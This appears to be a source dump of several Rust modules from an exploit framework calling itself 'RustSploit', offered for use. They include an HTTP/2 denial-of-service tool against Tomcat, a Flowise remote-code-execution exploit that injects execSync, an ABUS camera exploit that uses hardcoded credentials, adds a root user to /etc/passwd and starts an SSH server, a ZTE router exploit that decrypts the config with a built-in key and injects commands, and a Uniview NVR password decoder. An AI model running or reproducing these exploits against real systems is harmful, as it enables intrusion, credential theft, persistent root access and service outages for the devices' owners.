num_tasks, requests_per_task); 42 | println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow()); 43 | 44 | let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port)); 45 | let mut handles = Vec::new(); 46 | 47 | for i in 0..num_tasks { 48 | let h = clean_host.clone(); 49 | handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i))); 50 | } 51 | 52 | for handle in handles { 53 | let _ = handle.await; 54 | } 55 | 56 | monitor_handle.abort(); 57 | } 58 | Ok(false) => { 59 | bail!("Target does not support HTTP/2. Exploit not applicable."); 60 | } 61 | Err(e) => { 62 | eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red()); 63 | return Err(e); 64 | } 65 | } 66 | 67 | Ok(()) 68 | } 69 | 70 | async fn prompt_for_port() -> Option { 71 | print!("{}", "Enter target port (default 443): ".cyan()); 72 | tokio::io::stdout() 73 | .flush() 74 | .await 75 | .ok()?; 76 | 77 | let mut buffer = String::new(); 78 | tokio::io::BufReader::new(tokio::io::stdin()) 79 | .read_line(&mut buffer) 80 | .await 81 | .ok()?; 82 | 83 | let trimmed = buffer.trim(); 84 | if trimmed.is_empty() { 85 | Some(443) 86 | } else { 87 | trimmed.parse::().ok() 88 | } 89 | } 90 | 91 | fn strip_ipv6_brackets(host: &str) -> String { 92 | host.trim_matches(|c| c == '[' || c == ']').to_string() 93 | } 94 | 95 | fn validate_url(url: &str) -> Result<(String, u16)> { 96 | let parsed = url::Url::parse(url)?; 97 | let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string(); 98 | let port = parsed.port_or_known_default().unwrap_or(443); 99 | Ok((host, port)) 100 | } 101 | 102 | async fn check_http2_support(host: &str, port: u16) -> Result { 103 | let client = ClientBuilder::new() 104 | .http2_prior_knowledge() 105 | .danger_accept_invalid_certs(true) 106 | .timeout(Duration::from_secs(5)) 107 | .build()?; 108 | 109 | let url = format!("https://{}:{}/", host, port); 110 | let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await; 111 | 112 | match resp { 113 | Ok(response) => { 114 | if response.version() == reqwest::Version::HTTP_2 { 115 | println!("{}", "HTTP/2 supported! Proceeding ...".green()); 116 | Ok(true) 117 | } else { 118 | println!("{}", "Server responded, but HTTP/2 not used.".yellow()); 119 | Ok(false) 120 | } 121 | } 122 | Err(e) => { 123 | println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red()); 124 | Ok(false) 125 | } 126 | } 127 | } 128 | 129 | async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) { 130 | let priorities = get_invalid_priorities(); 131 | let client = match ClientBuilder::new() 132 | .http2_prior_knowledge() 133 | .danger_accept_invalid_certs(true) 134 | .timeout(Duration::from_millis(300)) 135 | .build() 136 | { 137 | Ok(c) => c, 138 | Err(_) => return, 139 | }; 140 | 141 | let url = format!("https://{}:{}/", host, port); 142 | 143 | for _ in 0..count { 144 | let prio = priorities.choose(&mut rand::rng()) 145 | .map(|s| s.to_string()) 146 | .unwrap_or_else(|| "u=0".to_string()); 147 | let headers = [ 148 | ("priority", prio), 149 | ("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::())), 150 | ("cache-control", "no-cache".to_string()), 151 | ("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))), 152 | ]; 153 | 154 | let mut req = client.get(&url); 155 | for (k, v) in headers.iter() { 156 | req = req.header(*k, v); 157 | } 158 | 159 | let _ = req.send().await; 160 | } 161 | } 162 | 163 | async fn monitor_server(host: String, port: u16) { 164 | loop { 165 | let addr_result = format!("{}:{}", host, port).to_socket_addrs(); 166 | 167 | match addr_result { 168 | Ok(mut addrs) => { 169 | if let Some(addr) = addrs.next() { 170 | if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() { 171 | println!("{}", format!("Target {}:{} is reachable.", host, port).yellow()); 172 | } else { 173 | println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red()); 174 | break; 175 | } 176 | } else { 177 | println!("{}", "DNS lookup failed.".red()); 178 | break; 179 | } 180 | } 181 | Err(_) => { 182 | println!("{}", "Failed to resolve host for monitoring.".red()); 183 | break; 184 | } 185 | } 186 | 187 | sleep(Duration::from_secs(2)).await; 188 | } 189 | } 190 | 191 | fn get_invalid_priorities() -> Vec<&'static str> { 192 | vec![ 193 | "u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid", 194 | "u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2", 195 | "u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=", 196 | "u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295", 197 | "u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid", 198 | "u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%", 199 | "u=0, q=0, null=0", 200 | ] 201 | } 202 | -------------------------------------------------------------------------------- /src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs: -------------------------------------------------------------------------------- 1 | // CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution 2 | // Exploit Author: nltt0 (https://github.com/nltt-br) 3 | // Vendor Homepage: https://flowiseai.com/ 4 | // Software Link: https://github.com/FlowiseAI/Flowise 5 | // Version: < 3.0.5 6 | 7 | use anyhow::{anyhow, Context, Result}; 8 | use colored::*; 9 | use crate::utils::escape_js_command; 10 | use reqwest::Client; 11 | use serde_json::json; 12 | use std::time::Duration; 13 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 14 | 15 | /// Displays module banner 16 | fn banner() { 17 | println!( 18 | "{}", 19 | r#" 20 | _____ _ _____ 21 | / __ \ | | / ___| 22 | | / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--. 23 | | | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \ 24 | | \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ / 25 | \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 26 | __/ | 27 | |___/ 28 | 29 | by nltt0 30 | "# 31 | .cyan() 32 | ); 33 | } 34 | 35 | /// Login to Flowise and return authenticated session 36 | async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result { 37 | let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/')); 38 | 39 | let data = json!({ 40 | "email": email, 41 | "password": password 42 | }); 43 | 44 | let response = client 45 | .post(&login_url) 46 | .header("x-request-from", "internal") 47 | .header("Accept-Language", "pt-BR,pt;q=0.9") 48 | .header("Accept", "application/json, text/plain, */*") 49 | .header("Content-Type", "application/json") 50 | .header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36") 51 | .header("Origin", "http://workflow.flow.hc") 52 | .header("Referer", "http://workflow.flow.hc/signin") 53 | .header("Accept-Encoding", "gzip, deflate, br") 54 | .header("Connection", "keep-alive") 55 | .json(&data) 56 | .send() 57 | .await 58 | .context("Failed to send login request")?; 59 | 60 | if response.status().is_success() { 61 | // Extract session token/cookie from response 62 | // The actual token extraction depends on Flowise's response format 63 | // For now, we'll use the cookie jar from the client 64 | Ok("authenticated".to_string()) 65 | } else { 66 | Err(anyhow!("Login failed with status: {}", response.status())) 67 | } 68 | } 69 | 70 | /// Execute remote code via the customMCP endpoint 71 | async fn execute_rce( 72 | client: &Client, 73 | url: &str, 74 | email: &str, 75 | password: &str, 76 | cmd: &str, 77 | ) -> Result<()> { 78 | // First, login to get authenticated session 79 | println!("{}", "[*] Attempting to login...".yellow()); 80 | login(client, url, email, password).await?; 81 | println!("{}", "[+] Login successful".green()); 82 | 83 | let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/')); 84 | 85 | // Escape the command for JavaScript execution with shell metacharacter protection 86 | // execSync executes in a shell, so we need to escape both JS and shell metacharacters 87 | let escaped_cmd = escape_js_command(cmd, true); 88 | 89 | // Construct the malicious payload 90 | let command = format!( 91 | r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#, 92 | escaped_cmd 93 | ); 94 | 95 | let data = json!({ 96 | "loadMethod": "listActions", 97 | "inputs": { 98 | "mcpServerConfig": command 99 | } 100 | }); 101 | 102 | println!("{}", format!("[*] Executing command: {}", cmd).yellow()); 103 | 104 | let response = client 105 | .post(&rce_url) 106 | .header("x-request-from", "internal") 107 | .header("Content-Type", "application/json") 108 | .json(&data) 109 | .send() 110 | .await 111 | .context("Failed to send RCE request")?; 112 | 113 | if response.status() == 401 { 114 | // Retry with internal header if we get 401 115 | println!("{}", "[*] Received 401, retrying with internal header...".yellow()); 116 | let retry_response = client 117 | .post(&rce_url) 118 | .header("x-request-from", "internal") 119 | .json(&data) 120 | .send() 121 | .await 122 | .context("Failed to retry RCE request")?; 123 | 124 | if retry_response.status().is_success() { 125 | println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold()); 126 | } else { 127 | println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red()); 128 | } 129 | } else if response.status().is_success() { 130 | println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold()); 131 | } else { 132 | println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red()); 133 | } 134 | 135 | Ok(()) 136 | } 137 | 138 | /// Main entry point for auto-dispatch system 139 | pub async fn run(target: &str) -> Result<()> { 140 | banner(); 141 | 142 | let mut base_url = target.trim().to_string(); 143 | if !base_url.starts_with("http://") && !base_url.starts_with("https://") { 144 | base_url = format!("http://{}", base_url); 145 | } 146 | base_url = base_url.trim_end_matches('/').to_string(); 147 | 148 | println!("{}", format!("[*] Target URL: {}", base_url).yellow()); 149 | 150 | // Build HTTP client with cookie support and SSL verification disabled 151 | let client = Client::builder() 152 | .timeout(Duration::from_secs(30)) 153 | .danger_accept_invalid_certs(true) 154 | .cookie_store(true) 155 | .build() 156 | .context("Failed to create HTTP client")?; 157 | 158 | // Prompt for credentials and command 159 | let mut email = String::new(); 160 | let mut password = String::new(); 161 | let mut command = String::new(); 162 | 163 | print!("{}", "Email: ".cyan().bold()); 164 | tokio::io::stdout() 165 | .flush() 166 | .await 167 | .context("Failed to flush stdout")?; 168 | tokio::io::BufReader::new(tokio::io::stdin()) 169 | .read_line(&mut email) 170 | .await 171 | .context("Failed to read email")?; 172 | 173 | print!("{}", "Password: ".cyan().bold()); 174 | tokio::io::stdout() 175 | .flush() 176 | .await 177 | .context("Failed to flush stdout")?; 178 | tokio::io::BufReader::new(tokio::io::stdin()) 179 | .read_line(&mut password) 180 | .await 181 | .context("Failed to read password")?; 182 | 183 | print!("{}", "Command to execute: ".cyan().bold()); 184 | tokio::io::stdout() 185 | .flush() 186 | .await 187 | .context("Failed to flush stdout")?; 188 | tokio::io::BufReader::new(tokio::io::stdin()) 189 | .read_line(&mut command) 190 | .await 191 | .context("Failed to read command")?; 192 | 193 | let email = email.trim(); 194 | let password = password.trim(); 195 | let command = command.trim(); 196 | 197 | if email.is_empty() || password.is_empty() || command.is_empty() { 198 | return Err(anyhow!("Email, password, and command must be provided")); 199 | } 200 | 201 | execute_rce(&client, &base_url, email, password, command).await?; 202 | 203 | Ok(()) 204 | } 205 | 206 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/abussecurity_camera_cve202326609variant1.rs: -------------------------------------------------------------------------------- 1 | // Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access 2 | // CVE: CVE-2023-26609 3 | // Author: d1g@segfault.net | Ported to Rust for RustSploit 4 | // PoC converted 1:1 from Bash to async Rust logic 5 | 6 | use anyhow::{anyhow, Result, Context}; 7 | use colored::*; 8 | use md5; 9 | use reqwest::Client; 10 | use std::time::Duration; 11 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 12 | 13 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 14 | 15 | /// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone) 16 | fn format_host(raw: &str) -> String { 17 | if raw.contains(':') { 18 | // strip any number of existing brackets, then wrap once 19 | let stripped = raw.trim_matches(|c| c == '[' || c == ']'); 20 | format!("[{}]", stripped) 21 | } else { 22 | raw.to_string() 23 | } 24 | } 25 | 26 | /// Send authenticated LFI request 27 | async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> { 28 | let host = format_host(target); 29 | let url = format!( 30 | "http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}", 31 | host, filepath 32 | ); 33 | println!("{}", format!("[*] Sending LFI request to: {}", url).cyan()); 34 | 35 | let resp = client.get(&url).send().await?; 36 | let status = resp.status(); 37 | let body = resp.text().await?; 38 | 39 | if status.is_success() { 40 | println!("{}", format!("[+] Status: {}", status).green()); 41 | println!("{}", "[+] Body:".green()); 42 | println!("{}", body); 43 | } else { 44 | println!("{}", format!("[-] Status: {}", status).red()); 45 | println!("{}", format!("[-] Body:\n{}", body).red()); 46 | } 47 | Ok(()) 48 | } 49 | 50 | /// Send authenticated RCE request with command injection 51 | async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> { 52 | let host = format_host(target); 53 | let url = format!( 54 | "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}", 55 | host, cmd 56 | ); 57 | println!("{}", format!("[*] Sending RCE request to: {}", url).cyan()); 58 | 59 | let resp = client.get(&url).send().await?; 60 | let status = resp.status(); 61 | let body = resp.text().await?; 62 | 63 | if status.is_success() { 64 | println!("{}", format!("[+] Status: {}", status).green()); 65 | println!("{}", "[+] Body:".green()); 66 | println!("{}", body); 67 | } else { 68 | println!("{}", format!("[-] Status: {}", status).red()); 69 | println!("{}", format!("[-] Body:\n{}", body).red()); 70 | } 71 | Ok(()) 72 | } 73 | 74 | /// Stage 1: Generate SSH key 75 | async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> { 76 | let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"; 77 | println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow()); 78 | exploit_rce(client, target, cmd).await 79 | } 80 | 81 | /// Stage 2: Inject a root user with an MD5-hashed password 82 | async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> { 83 | // Compute lowercase-hex MD5 of the provided password 84 | let hash = format!("{:x}", md5::compute(password)); 85 | println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan()); 86 | 87 | // Build the echo command to append to /etc/passwd 88 | let cmd = format!( 89 | "echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd", 90 | hash 91 | ); 92 | println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow()); 93 | exploit_rce(client, target, &cmd).await 94 | } 95 | 96 | /// Stage 3: Start Dropbear SSH server 97 | async fn start_dropbear(client: &Client, target: &str) -> Result<()> { 98 | let cmd = "/etc/dropbear/dropbear%20-E%20-F"; 99 | println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow()); 100 | exploit_rce(client, target, cmd).await 101 | } 102 | 103 | /// Combined SSH persistence exploit 104 | async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> { 105 | generate_ssh_key(client, target).await?; 106 | inject_root_user(client, target, password).await?; 107 | start_dropbear(client, target).await?; 108 | println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold()); 109 | println!( 110 | "{}", 111 | format!( 112 | " sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}", 113 | password, target 114 | ).cyan() 115 | ); 116 | Ok(()) 117 | } 118 | 119 | /// Display module banner 120 | fn display_banner() { 121 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 122 | println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan()); 123 | println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan()); 124 | println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan()); 125 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 126 | } 127 | 128 | /// Prompt user for mode, and dispatch accordingly 129 | async fn execute(target: &str) -> Result<()> { 130 | let client = Client::builder() 131 | .danger_accept_invalid_certs(true) 132 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 133 | .build()?; 134 | 135 | display_banner(); 136 | println!("{}", format!("[*] Target: {}", target).yellow()); 137 | println!(); 138 | println!("{}", "[*] Exploit mode selection:".cyan().bold()); 139 | println!(" {} LFI (Local File Inclusion)", "[1]".green()); 140 | println!(" {} RCE (Remote Code Execution)", "[2]".green()); 141 | println!(" {} SSH Persistence (Full Compromise)", "[3]".green()); 142 | print!("{}", "> ".cyan().bold()); 143 | tokio::io::stdout() 144 | .flush() 145 | .await 146 | .context("Failed to flush stdout")?; 147 | 148 | let mut choice = String::new(); 149 | tokio::io::BufReader::new(tokio::io::stdin()) 150 | .read_line(&mut choice) 151 | .await 152 | .context("Failed to read choice")?; 153 | match choice.trim() { 154 | "1" => { 155 | print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold()); 156 | tokio::io::stdout() 157 | .flush() 158 | .await 159 | .context("Failed to flush stdout")?; 160 | let mut fp = String::new(); 161 | tokio::io::BufReader::new(tokio::io::stdin()) 162 | .read_line(&mut fp) 163 | .await 164 | .context("Failed to read file path")?; 165 | exploit_lfi(&client, target, fp.trim()).await?; 166 | } 167 | "2" => { 168 | print!("{}", "Enter command to execute (e.g. id): ".cyan().bold()); 169 | tokio::io::stdout() 170 | .flush() 171 | .await 172 | .context("Failed to flush stdout")?; 173 | let mut cmd = String::new(); 174 | tokio::io::BufReader::new(tokio::io::stdin()) 175 | .read_line(&mut cmd) 176 | .await 177 | .context("Failed to read command")?; 178 | exploit_rce(&client, target, cmd.trim()).await?; 179 | } 180 | "3" => { 181 | // Ask for the desired password, hash it, and persist 182 | print!("{}", "Enter desired password for new root user: ".cyan().bold()); 183 | tokio::io::stdout() 184 | .flush() 185 | .await 186 | .context("Failed to flush stdout")?; 187 | let mut pwd = String::new(); 188 | tokio::io::BufReader::new(tokio::io::stdin()) 189 | .read_line(&mut pwd) 190 | .await 191 | .context("Failed to read password")?; 192 | let pwd = pwd.trim(); 193 | if pwd.is_empty() { 194 | return Err(anyhow!("Password cannot be empty")); 195 | } 196 | persist_root_shell(&client, target, pwd).await?; 197 | } 198 | _ => { 199 | println!("{}", "[-] Invalid choice".red()); 200 | return Err(anyhow!("Invalid choice")); 201 | } 202 | } 203 | 204 | Ok(()) 205 | } 206 | 207 | /// Entry point for the RustSploit dispatch system 208 | pub async fn run(target: &str) -> Result<()> { 209 | execute(target).await 210 | } -------------------------------------------------------------------------------- /src/modules/exploits/zte/zte_zxv10_h201l_rce_authenticationbypass.rs: -------------------------------------------------------------------------------- 1 | use aes::Aes128; 2 | use anyhow::{Result, Context}; 3 | use cipher::{BlockDecrypt, KeyInit, Block}; 4 | use colored::*; 5 | use reqwest::{Client, cookie::Jar}; 6 | use std::{ 7 | fs::{self, File}, 8 | io::{Read, Write as StdWrite}, 9 | net::TcpStream, 10 | sync::Arc, 11 | }; 12 | use tokio::time::Duration; 13 | use std::net::ToSocketAddrs; 14 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 15 | 16 | 17 | 18 | /// AES-128 ECB decrypt without padding 19 | fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result> { 20 | if data.len() % 16 != 0 { 21 | anyhow::bail!("ECB decryption requires block-aligned data"); 22 | } 23 | 24 | let cipher = Aes128::new_from_slice(key)?; 25 | let mut output = Vec::with_capacity(data.len()); 26 | 27 | for chunk in data.chunks(16) { 28 | let mut arr = [0u8; 16]; 29 | arr.copy_from_slice(chunk); 30 | let mut block = Block::::from(arr); 31 | cipher.decrypt_block(&mut block); 32 | output.extend_from_slice(&block); 33 | } 34 | 35 | Ok(output) 36 | } 37 | 38 | /// Extract host and port from target 39 | async fn parse_target(target: &str) -> Result<(String, u16)> { 40 | if target.contains("]:") { 41 | let parts: Vec<&str> = target.rsplitn(2, "]:").collect(); 42 | let port = parts[0].parse::()?; 43 | let host = parts[1].trim_start_matches('[').to_string(); 44 | return Ok((host, port)); 45 | } else if target.contains(':') { 46 | let parts: Vec<&str> = target.splitn(2, ':').collect(); 47 | let port = parts[1].parse::()?; 48 | return Ok((parts[0].to_string(), port)); 49 | } 50 | 51 | print!("{}", "[?] No port provided. Enter port: ".cyan().bold()); 52 | tokio::io::stdout() 53 | .flush() 54 | .await 55 | .context("Failed to flush stdout")?; 56 | let mut input = String::new(); 57 | tokio::io::BufReader::new(tokio::io::stdin()) 58 | .read_line(&mut input) 59 | .await 60 | .context("Failed to read port")?; 61 | let port = input.trim().parse::()?; 62 | Ok((target.to_string(), port)) 63 | } 64 | 65 | /// Leak the router config file 66 | fn leak_config(host: &str, port: u16) -> Result<()> { 67 | println!("[*] Leaking config from http://{}:{}/ ...", host, port); 68 | 69 | // Resolve and connect with timeout 70 | let addr = (host, port) 71 | .to_socket_addrs()? 72 | .next() 73 | .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?; 74 | let timeout = Duration::from_secs(5); 75 | let mut conn = TcpStream::connect_timeout(&addr, timeout)?; 76 | 77 | let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ"; 78 | let body = format!( 79 | "--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n", 80 | boundary, boundary 81 | ); 82 | 83 | let request = format!( 84 | "POST /getpage.gch?pid=101 HTTP/1.1\r\n\ 85 | Host: {}:{}\r\n\ 86 | Content-Type: multipart/form-data; boundary={}\r\n\ 87 | Content-Length: {}\r\n\ 88 | Connection: close\r\n\r\n{}", 89 | host, port, boundary, body.len(), body 90 | ); 91 | 92 | StdWrite::write_all(&mut conn, request.as_bytes())?; 93 | 94 | let mut response = vec![]; 95 | conn.read_to_end(&mut response)?; 96 | if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") { 97 | let body = &response[start + 4..]; 98 | StdWrite::write_all(&mut File::create("config.bin")?, body)?; 99 | } 100 | 101 | println!("[+] Config saved to config.bin"); 102 | Ok(()) 103 | } 104 | 105 | /// Decrypt config and extract credentials 106 | fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> { 107 | let mut encrypted = File::open("config.bin")?; 108 | let mut data = vec![]; 109 | encrypted.read_to_end(&mut data)?; 110 | 111 | let mut key16 = [0u8; 16]; 112 | key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]); 113 | 114 | let decrypted = decrypt_ecb_nopad(&data, &key16)?; 115 | fs::write("decrypted.xml", &decrypted)?; 116 | 117 | let xml = fs::read_to_string("decrypted.xml")?; 118 | let username = xml.split("IGD.AU2").nth(1) 119 | .and_then(|s| s.split("User").nth(1)) 120 | .and_then(|s| s.split("val=\"").nth(1)) 121 | .and_then(|s| s.split('"').next()) 122 | .unwrap_or("unknown") 123 | .to_string(); 124 | 125 | let password = xml.split("IGD.AU2").nth(1) 126 | .and_then(|s| s.split("Pass").nth(1)) 127 | .and_then(|s| s.split("val=\"").nth(1)) 128 | .and_then(|s| s.split('"').next()) 129 | .unwrap_or("unknown") 130 | .to_string(); 131 | 132 | fs::remove_file("config.bin").ok(); 133 | fs::remove_file("decrypted.xml").ok(); 134 | 135 | println!("[+] Decrypted credentials: {} / {}", username, password); 136 | Ok((username, password)) 137 | } 138 | 139 | /// Perform login 140 | async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> { 141 | println!("[*] Logging in to http://{}:{}/ ...", host, port); 142 | let url = format!("http://{}:{}/", host, port); 143 | let page = session.get(&url).send().await?.text().await?; 144 | 145 | let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1) 146 | .and_then(|s| s.split('"').next()) 147 | .ok_or_else(|| anyhow::anyhow!("Login token not found"))?; 148 | 149 | let params = [ 150 | ("Username", username), 151 | ("Password", password), 152 | ("frashnum", ""), 153 | ("Frm_Logintoken", token), 154 | ]; 155 | 156 | session.post(&url).form(¶ms).send().await?; 157 | println!("[+] Login submitted."); 158 | Ok(()) 159 | } 160 | 161 | 162 | /// Logout 163 | async fn logout(session: &Client, host: &str, port: u16) -> Result<()> { 164 | let url = format!("http://{}:{}/", host, port); 165 | session.post(&url).form(&[("logout", "1")]).send().await?; 166 | println!("[*] Logged out."); 167 | Ok(()) 168 | } 169 | 170 | /// Command injection payload generator 171 | fn command_injection(cmd: &str) -> String { 172 | let inj = format!("user;{};echo", cmd); 173 | inj.replace(" ", "${IFS}") 174 | } 175 | 176 | /// Abuse DDNS form to inject command 177 | async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> { 178 | let url = format!( 179 | "http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch", 180 | host, port 181 | ); 182 | 183 | let form = [ 184 | ("IF_ACTION", "apply"), ("Name", "dyndns"), 185 | ("Server", "http://www.dyndns.com/"), ("Username", payload), 186 | ("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"), 187 | ("DomainName", "hostname"), ("Service", "dyndns"), 188 | ("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"), 189 | ("ServerPort0", "80"), ("UpdateInterval0", "86400"), 190 | ("RetryInterval0", "60"), ("MaxRetries0", "3"), 191 | ("Name1", "No-IP"), ("Server1", "http://www.noip.com/"), 192 | ("ServerPort1", "80"), ("UpdateInterval1", "86400"), 193 | ("RetryInterval1", "60"), ("MaxRetries1", "3"), 194 | ("Enable", "1"), ("HostNumber", "") 195 | ]; 196 | 197 | println!("[*] Sending command injection payload..."); 198 | session.post(&url).form(&form).send().await?; 199 | println!("[+] Payload delivered."); 200 | Ok(()) 201 | } 202 | 203 | /// Exploit wrapper 204 | async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> { 205 | let cookie_jar = Arc::new(Jar::default()); 206 | let session = Client::builder() 207 | .cookie_provider(cookie_jar) 208 | .danger_accept_invalid_certs(true) 209 | .timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout 210 | .build()?; 211 | 212 | leak_config(host, port)?; 213 | let (username, password) = decrypt_config(config_key)?; 214 | login(&session, host, port, &username, &password).await?; 215 | let payload = command_injection("echo hacked > /var/tmp/pwned"); 216 | set_ddns(&session, host, port, &payload).await?; 217 | logout(&session, host, port).await?; 218 | println!("[✓] Exploit complete."); 219 | Ok(()) 220 | } 221 | 222 | 223 | /// Dispatch entry point 224 | pub async fn run(target: &str) -> Result<()> { 225 | let (host, port) = parse_target(target).await?; 226 | let config_key = b"Renjx%2$CjM"; 227 | match exploit(config_key, &host, port).await { 228 | Ok(_) => { 229 | println!("[*] Success on {}:{}", host, port); 230 | Ok(()) 231 | } 232 | Err(e) => { 233 | println!("[!] Exploit failed: {}", e); 234 | Err(e) 235 | } 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /src/modules/exploits/uniview/uniview_nvr_pwd_disclosure.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use colored::*; 3 | use quick_xml::events::Event; 4 | use quick_xml::name::QName; 5 | use quick_xml::Reader; 6 | use reqwest::Client; 7 | use std::collections::HashMap; 8 | use std::fs::OpenOptions; 9 | use std::io::Write; 10 | use std::time::Duration; 11 | 12 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 13 | 14 | /// Display module banner 15 | fn display_banner() { 16 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 17 | println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan()); 18 | println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan()); 19 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 20 | } 21 | 22 | /// Reverses the Uniview custom encoded password 23 | fn decode_pass(encoded: &str) -> String { 24 | let map: HashMap<&str, &str> = [ 25 | ("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"), 26 | ("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"), 27 | ("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"), 28 | ("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"), 29 | ("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"), 30 | ("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"), 31 | ("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"), 32 | ("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"), 33 | ("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"), 34 | ("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"), 35 | ("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"), 36 | ("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"), 37 | ("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"), 38 | ("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"), 39 | ("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"), 40 | ("11","w"), ("4","x"), ("5","y"), ("6","z"), 41 | ] 42 | .iter() 43 | .cloned() 44 | .collect(); 45 | 46 | encoded 47 | .split(';') 48 | .filter_map(|c| if c == "124" { None } else { map.get(c).copied() }) 49 | .collect() 50 | } 51 | 